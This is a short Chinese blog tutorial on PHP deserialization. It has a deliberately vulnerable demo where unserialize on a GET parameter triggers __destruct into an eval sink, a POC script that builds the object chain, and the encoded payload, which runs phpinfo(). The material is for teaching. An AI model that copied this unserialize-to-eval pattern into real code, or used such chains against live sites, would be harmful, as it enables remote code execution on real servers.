PHP反序列化漏洞

反序列化漏洞利用的条件

1、程序中存在序列化字符串的输入点.
2、程序中存在可以利用的魔术方法.

反序列化漏洞的一个简单DEMO

<?php
class example
{
public $handle;
function __destruct()
{
$this->shutdown();
}
public function shutdown()
{
$this->handle->close();
}
}
class process
{
public $pid;
function close()
{
eval($this->pid);
}
} if(isset($_GET['data']))
{
$user_data = unserialize(urldecode($_GET['data']));
}?>

可见,process类当中有一个close方法里面有一个eval函数,但是pid不是我们所能控制的。但是在example当中有调用close方法。

可以在example中调用process类,然后在process当中对pid进行赋值然后序列化进而执行eval函数达到命令执行的效果

最终GET POC代码如下。

 <?php
class example
{
public $handle;
function __construct()
{
$this->handle = new process();
}
}
class process
{
public $pid;
function __construct()
{
$this->pid=("phpinfo();");
}
}
$data = new example();
echo urlencode(serialize($data))
?>

生成后的payload为(#一定要编码,不编码不行):

O%3A7%3A%22example%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A7%3A%22process%22%3A1%3A%7Bs%3A3%3A%22pid%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

PHP反序列化漏洞

总结:

OOP不太熟悉还是很容易在一些细节上面写错。

比如

1.在POC构造的那个代码的第7行,是需要new的

2.在引用一个方法的时候是没有$符号的。即$this->pid

3.属性是没有括号的

上一篇:php MySQLi部分函数(面向对象和过程)


下一篇:KMS注册